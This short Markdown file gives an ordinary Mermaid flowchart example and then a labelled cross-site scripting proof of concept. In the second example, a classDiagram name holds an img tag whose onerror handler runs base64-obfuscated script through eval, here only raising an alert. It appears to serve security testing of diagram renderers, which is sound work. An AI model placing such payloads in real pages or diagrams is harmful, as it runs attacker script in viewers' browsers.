mermaid.md

Example Mermaid:

graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;

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XSS:

classDiagram
x <|-- `<img src onerror=eval(atob("YWxlcnQoJ1hTUyBhdCAnK2xvY2F0aW9uKQ"))>`

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